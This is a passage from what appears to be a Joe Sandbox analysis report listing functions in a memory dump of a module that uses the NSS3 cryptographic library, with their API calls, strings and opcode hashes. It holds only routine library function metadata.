strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6D01FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6D01FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6D01FDDE

Part of subcall function 6D028800: TlsGetValue.KERNEL32(?,6D03085A,00000000,?,6CFD8369,?), ref: 6D028821
Part of subcall function 6D028800: TlsGetValue.KERNEL32(?,?,6D03085A,00000000,?,6CFD8369,?), ref: 6D02883D
Part of subcall function 6D028800: EnterCriticalSection.KERNEL32(?,?,?,6D03085A,00000000,?,6CFD8369,?), ref: 6D028856
Part of subcall function 6D028800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6D028887
Part of subcall function 6D028800: PR_Unlock.NSS3(?,?,?,?,6D03085A,00000000,?,6CFD8369,?), ref: 6D028899

Strings

pkcs11:, xrefs: 6D01FC4F

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: cf24cfa1c6581211c3663b38273b6d182841b7fbd6be34ae450a079b4eb24e85
Instruction ID: 8d12c97a36a0441a34d2ee55502cf9931cea1780e1528b9bbddcf64e51ed430e
Opcode Fuzzy Hash: cf24cfa1c6581211c3663b38273b6d182841b7fbd6be34ae450a079b4eb24e85
Instruction Fuzzy Hash: 5951D177E1C1129BFB119FE4AD40B7E3BAABF41358F464024EE055B252EB30E901CB92

Function 6CF5BDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6CF5BE02

Part of subcall function 6D089C40: memcmp.VCRUNTIME140(?,00000000,6CF5C52B), ref: 6D089D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF5BE9F

Strings

database corruption, xrefs: 6CF5BE93
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF5BE89
%s at line %d of [%.10s], xrefs: 6CF5BE98

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 87441ccb5cd2f6a8661aa9cb44a57602027be1c8c403281efeeb0953d88c1b78
Instruction ID: 75b46f407059fe9b40c775dee53ae7ab517dc39d0f3bbdde82a51bf707c7996b
Opcode Fuzzy Hash: 87441ccb5cd2f6a8661aa9cb44a57602027be1c8c403281efeeb0953d88c1b78
Instruction Fuzzy Hash: 2F315432B086598BC700CF68D8D4BABBBA2AF51314B8D8954EF585B682D771ED20C3D0

Function 6CFC0DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CFC0BDE), ref: 6CFC0DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CFC0BDE), ref: 6CFC0DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CFC0BDE), ref: 6CFC0DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CFC0BDE), ref: 6CFC0E32

Strings

%s incr => %d (find lib), xrefs: 6CFC0E2D

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 466c9c06a3ef20e90fa211f151fff1d61c78c807095fd898bba96f399c3e0cd5
Instruction ID: 36c70c8f851fdd7aa63d7cadea10b7fb2fecf5fe7375b8dc7a7be01dc8bd314a
Opcode Fuzzy Hash: 466c9c06a3ef20e90fa211f151fff1d61c78c807095fd898bba96f399c3e0cd5
Instruction Fuzzy Hash: E00124B2740214AFE6208F659C45F2773ACDF45A08B06442DEA09D3642E7E2EC1586E2

Function 6CF69C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CF69CF2
LeaveCriticalSection.KERNEL32(?), ref: 6CF69D45
EnterCriticalSection.KERNEL32(?), ref: 6CF69D8B
LeaveCriticalSection.KERNEL32(?), ref: 6CF69DDE

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 8b2f965b0d37aac4afb098bb7ac5f24fcc5a4a39be434b25cb77f92f32d8b0af
Instruction ID: 10e9e5afe94c45170c9e59fc4f7990acb8b6eb4075dd6209fc38e392e91a4b66
Opcode Fuzzy Hash: 8b2f965b0d37aac4afb098bb7ac5f24fcc5a4a39be434b25cb77f92f32d8b0af
Instruction Fuzzy Hash: DEA1B3756041009FEB189FB6F988BAE3771EF86314F19012DD40687E40DFB69A86CB56

Function 6CFF1E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6CFF1ECC

Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D0990AB
Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D0990C9
Part of subcall function 6D099090: EnterCriticalSection.KERNEL32 ref: 6D0990E5
Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D099116
Part of subcall function 6D099090: LeaveCriticalSection.KERNEL32 ref: 6D09913F

TlsGetValue.KERNEL32 ref: 6CFF1EDF
EnterCriticalSection.KERNEL32(?), ref: 6CFF1EEF
PR_ExitMonitor.NSS3(?), ref: 6CFF1F37
PR_Unlock.NSS3(?), ref: 6CFF1F44

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: bd7cb56c0ed6694860a8d54403c6153140bb607e5b77652fb48d1f72c48e0f32
Instruction ID: 8dc5b48bd09ec76732888bcc27522d07004500d95f44baed5a730b6e553613c2
Opcode Fuzzy Hash: bd7cb56c0ed6694860a8d54403c6153140bb607e5b77652fb48d1f72c48e0f32
Instruction Fuzzy Hash: 4E71D5B69043019FE710CF24D840A5BB7F5FF88358F148929E86993B61E731F95ACB92

Function 6D07DD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6D07DD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6D07DDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6D07DE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6D07DE77

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: 4795f15d3b7c40df95f25d84749d8d2aa025f5d996b25228fda6d9128d306937
Instruction ID: f24085e0a048ba9910367efce8bb36760ba0bea18c7a5a4a424d153bf4a108a1
Opcode Fuzzy Hash: 4795f15d3b7c40df95f25d84749d8d2aa025f5d996b25228fda6d9128d306937
Instruction Fuzzy Hash: 8D714471A04319CBEB20CF99C58079AB7F5BF89714F65806ED9596F302D770A941CFA0

Function 6CFEDFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6CFEAB10: DeleteCriticalSection.KERNEL32(D958E852,6CFF1397,5B5F5EC0,?,?,6CFEB1EE,2404110F,?,?), ref: 6CFEAB3C
Part of subcall function 6CFEAB10: free.MOZGLUE(D958E836,?,6CFEB1EE,2404110F,?,?), ref: 6CFEAB49
Part of subcall function 6CFEAB10: DeleteCriticalSection.KERNEL32(5D5E6D1E), ref: 6CFEAB5C
Part of subcall function 6CFEAB10: free.MOZGLUE(5D5E6D12), ref: 6CFEAB63
Part of subcall function 6CFEAB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CFEAB6F
Part of subcall function 6CFEAB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CFEAB76

TlsGetValue.KERNEL32(?,?,6CFEB266,6CFF15C6,?,?,6CFF15C6), ref: 6CFEDFDA
EnterCriticalSection.KERNEL32(?,?,?,6CFEB266,6CFF15C6,?,?,6CFF15C6), ref: 6CFEDFF3
PK11_IsFriendly.NSS3(?,?,?,?,6CFEB266,6CFF15C6,?,?,6CFF15C6), ref: 6CFEE029
PK11_IsLoggedIn.NSS3 ref: 6CFEE046

Part of subcall function 6CFF8F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CFEDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CFF8FAF
Part of subcall function 6CFF8F70: PR_Now.NSS3(?,?,00000002,?,?,?,6CFEDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CFF8FD1
Part of subcall function 6CFF8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CFEDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CFF8FFA
Part of subcall function 6CFF8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CFEDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CFF9013
Part of subcall function 6CFF8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CFEDA9B,?,00000000,?,?,?,?,CE534353), ref: 6CFF9042
Part of subcall function 6CFF8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CFEDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CFF905A
Part of subcall function 6CFF8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CFEDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CFF9073
Part of subcall function 6CFF8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CFEDA9B,?,00000000,?,?,?,?,CE534353), ref: 6CFF9111

PR_Unlock.NSS3(?,?,?,?,6CFEB266,6CFF15C6,?,?,6CFF15C6), ref: 6CFEE149

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: a8caa9d6de995e55a11c5f66db3eefdcedc431568d4bd83c6c7610a81bbb521b
Instruction ID: f836ef5284dd2415413233b67a02264d24560da8fb3b9654af8206746767f3d4
Opcode Fuzzy Hash: a8caa9d6de995e55a11c5f66db3eefdcedc431568d4bd83c6c7610a81bbb521b
Instruction Fuzzy Hash: 33517974604601EFDB10EF29D48476ABBF1FF88318F16896CD9998B751D735E884CB82

Function 6CFFBE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6CFFBF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFFBF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFD9F71,?,?,00000000), ref: 6CFFBF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6CFFBFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CFFC014

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: 10de5f0f30f21196e12c0c9687ec96b40d16047c758b2aa987f1a8cbbf6403da
Instruction ID: 9345e8c2bd841d836544f2360d4f3b341dacc2ebc0de2eb427a0e7d50a2d71cc
Opcode Fuzzy Hash: 10de5f0f30f21196e12c0c9687ec96b40d16047c758b2aa987f1a8cbbf6403da
Instruction Fuzzy Hash: 8741E675A012019BFB10CEA5DC80BBB77B9EF44208F254528ED28D7791EB31D906CB91

Function 6CFCEDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CFCEDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CFCEE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CFCEECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CFCEEEB
free.MOZGLUE(?), ref: 6CFCEEF6

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 469a3264e67a24a09661863ad4fe858895ba09be7e46ca1b426dea7f6f08e958
Instruction ID: f13e9248c39122453d4766e0f187685d82a9278996c9cb84feae20845237c949
Opcode Fuzzy Hash: 469a3264e67a24a09661863ad4fe858895ba09be7e46ca1b426dea7f6f08e958
Instruction Fuzzy Hash: 7F3109B5B006029BEB309F2CDC427A77BF4FB46344F160528E95A87A50D771E454CBD2

Function 6CFE1F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CFE1F1C

Part of subcall function 6D030FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CFD87ED,00000800,6CFCEF74,00000000), ref: 6D031000
Part of subcall function 6D030FF0: PR_NewLock.NSS3(?,00000800,6CFCEF74,00000000), ref: 6D031016
Part of subcall function 6D030FF0: PL_InitArenaPool.NSS3(00000000,security,6CFD87ED,00000008,?,00000800,6CFCEF74,00000000), ref: 6D03102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6D0F9EBC), ref: 6CFE1FB8
SEC_ASN1EncodeItem_Util.NSS3(6D0F9E9C,?,?,6D0F9E9C), ref: 6CFE200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CFE2020

Part of subcall function 6CFD6A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CFDAD50,?,?), ref: 6CFD6A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFE2030

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: 7023c01e1b8c1e9488e7983879a1428ecec365e03f53406199358a5f52ca057b
Instruction ID: f507790fa2c8c314e11905306418acc983b1e35e51a7b1111fd4f4b22eb6028a
Opcode Fuzzy Hash: 7023c01e1b8c1e9488e7983879a1428ecec365e03f53406199358a5f52ca057b
Instruction Fuzzy Hash: FA212576901506BBE7008F16DC40FAB7B68FF4A31CF244220ED2896A82F732E524C7E1

Function 6D011EA0 Relevance: 7.6, APIs: 5, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,?,6CFF6295,?,00000000,00000000,00000001,6D012653,?), ref: 6D011ECB

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

TlsGetValue.KERNEL32(?,00000001,?,?,6CFF6295,?,00000000,00000000,00000001,6D012653,?), ref: 6D011EF1
EnterCriticalSection.KERNEL32(?), ref: 6D011F01
PR_SetError.NSS3(00000000,00000000), ref: 6D011F39

Part of subcall function 6D01FE20: TlsGetValue.KERNEL32(6CFF5ADC,?,00000000,00000001,?,?,00000000,?,6CFEBA55,?,?), ref: 6D01FE4B
Part of subcall function 6D01FE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6D01FE5F

PR_Unlock.NSS3(?), ref: 6D011F67

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID:
API String ID: 704537481-0
Opcode ID: 15688ea98f07cdfd86574032aa130fd285f4c869885243b21b7b90234ed5650a
Instruction ID: 01e5bc500ba094fa3f98f71558f3eea26ed1f02e9d7c6ce4406fe5b1fd820673
Opcode Fuzzy Hash: 15688ea98f07cdfd86574032aa130fd285f4c869885243b21b7b90234ed5650a
Instruction Fuzzy Hash: D8212875A08105ABFB149EAAEC44FAF37AAEF55364F454028FD088B311E771D950C7E2

Function 6CFD1DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CFD1E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CFD1E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFD1E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CFD1E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CFD1EAD

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: 664153e3a6f5f2b009cc464b86b04763f8bd57809fdf9cce08d7405914050044
Instruction ID: 783b92e83a33f21dfdbfb454f8995c0471290800fe8423ac6c4701fb6bb9064b
Opcode Fuzzy Hash: 664153e3a6f5f2b009cc464b86b04763f8bd57809fdf9cce08d7405914050044
Instruction Fuzzy Hash: FC21D372E08316A7E7008F68DC40B9B7394DB84379F1A8638ED595B281E730F91587D2

Function 6D0E1E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6D0E1E5C

Part of subcall function 6D099BF0: TlsGetValue.KERNEL32(?,?,?,6D0E0A75), ref: 6D099C07

PR_Lock.NSS3(00000000), ref: 6D0E1E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6D0E1EAB
PR_GetCurrentThread.NSS3 ref: 6D0E1ED0
PR_Unlock.NSS3(?), ref: 6D0E1EE8

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 5e235e33fb9190afae9348bb5e50f2e686faf9aa843f47343d17b240ac0b1d4a
Instruction ID: 90ee7ae497130e8d1747129a849dae9431b8b0d6fb51db751c33f962e65485ca
Opcode Fuzzy Hash: 5e235e33fb9190afae9348bb5e50f2e686faf9aa843f47343d17b240ac0b1d4a
Instruction Fuzzy Hash: 2A21AFB4A18612AFE714CF28D940B16B7F1FF44754B158229E9199B740D730FC60CBD2

Function 6D02BE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CFDE708,00000000,00000000,00000004,00000000), ref: 6D02BE6A

Part of subcall function 6D030840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6D0308B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CFE04DC,?), ref: 6D02BE7E

Part of subcall function 6D02FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6D028D2D,?,00000000,?), ref: 6D02FB85
Part of subcall function 6D02FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6D02FBB1

